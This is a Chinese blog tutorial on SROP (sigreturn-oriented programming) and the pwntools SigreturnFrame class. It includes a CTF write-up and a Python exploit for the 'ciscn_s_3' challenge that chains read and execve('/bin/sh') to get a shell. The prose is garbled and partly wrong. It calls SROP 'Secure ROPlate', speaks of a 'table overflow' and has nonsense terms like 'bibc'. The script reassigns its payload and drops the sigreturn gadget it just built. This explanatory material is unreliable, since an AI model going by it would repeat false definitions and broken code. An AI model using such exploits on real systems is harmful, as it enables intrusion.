pwntools--SROP工具类SigreturnFrame使用详解
发布日期:2021-05-15 04:19:14 浏览次数:22 分类:精选文章

本文共 1792 字,大约阅读时间需要 5 分钟。

SROP技术是一种基于信号处理机制的高级漏洞利用方法,它能够通过修改系统寄存器实现远程代码执行。下面是对SROP及其实现工具SigreturnFrame的详细解释:

SROP的概念

SROP(Secure ROPlate)是一种利用表格溢出的方法,通过将程序执行流程(EIP或EAX)设置为特定的系统调用,以触发预定义的安全功能。它的核心原理是在信号处理过程中,系统会将用户态上下文和寄存器值保存到用户态栈中,然后恢复这些值。这种机制使得SROP不仅能够修改返回地址,还能重新定制所有寄存器的值,从而实现更加灵活的系统调用。

SigreturnFrame的使用

PWnTool中的SigreturnFrame类简化了SROP利用的实现过程。以下是使用该工具的一些关键步骤:

  • 初始化环境:设置目标程序的架构(如AMD64或i386)。
  • 自定义寄存器值:通过类似frame.rax这样的属性,设置需要修改的寄存器。
  • 链式系统调用:将syscall gadget链添加到frame对象中,确保sigreturn执行后能够触发预期的系统调用。
  • 构造阈值栈:将伪造的栈和gadgets数据添加到frame对象中,确保利用过程能够顺利进行。
  • 处理栈溢出:通过将伪造的栈数据发送到远程程序,触发信号处理,并恢复修改后的寄存器值。
  • 一个示例

    考虑一道基于SROP漏洞的远程调试题目,目标是实现execve系统调用以获取命令行接口。攻击步骤如下:

  • 程序分析

    • 检查程序的安全性(如NX位)以确定攻击面。
    • 分析vuln函数发现其涉及read和write函数的使用。
    • 利用write函数读取栈中的数据并泄露栈地址。
  • 利用SROP

    • 通过构造特定的gadgets链触发sigreturn系统调用。
    • 伪造栈数据以设置目标程序的寄存器值,包括execve的参数。
    • 通过readexecve系统调用的组合,读取并执行命令行脚本。
  • 写PE/AX中的结构

    • 确定bin字符串的位置,并将读取结果存储在针对性的栈地址。
    • 针对不同版本的bibc测试框架,确保代码兼容性。
  • WP代码示例

    以下是利用SROP实现远程PWN的示例代码:

    from pwn import *
    p = process("./ciscn_s_3") # 地方测试
    # p = remote("node3.buuoj.cn", 25862) # 远程测试
    syscall = 0x0400517 # 反射 ))
    sigreturn = p64(0x04004da) + p64(syscall)
    sh = 0x0601038 # "/bin/sh\x00"存储位置
    frame = SigreturnFrame()
    frame.rax = constants.SYS_execve
    frame.rdi = sh
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall
    stack_frame = b"/bin/sh\x00" + sigreturn + bytes(frame)
    # 读取真实的栈数据,并设置RSP指针
    frame = SigreturnFrame()
    frame.rax = constants.SYS_read
    frame.rdi = 0
    frame.rsi = sh # 目标堆上的位置
    frame.rdx = len(stack_frame)
    frame.rip = syscall
    frame.rsp = sh + 8 # 设置栈顶指针以访问bin字符串
    pad = cyclic(0x10)
    pad += sigreturn + bytes(frame)
    pad = cyclic(0x10) + bytes(frame)
    # 发送构造的栈数据以触发利用
    p.send(pad)
    # 读取真实的栈数据并输出
    p.send(stack_frame)
    p.interactive()

    总结

    SROP技术的核心优势在于其灵活性,能够修改所有寄存器,从而实现高度定制化的系统调用。然而,其依赖于特定版本的libc和内核,这可能导致在不同环境中需要进行适配和调整。通过掌握SigreturnFrame工具,可以显著简化SROP利用过程,使其成为安全研究和漏洞利用中的一个强大工具。

    上一篇:CMCC--simplerop 题解
    下一篇:pwntools FmtStr格式化字符串类使用详解

    发表评论

    最新留言

    表示我来过!
    [***.240.166.169]2025年04月20日 03时21分33秒

    关于作者

        喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
    -- 愿君每日到此一游!

    推荐文章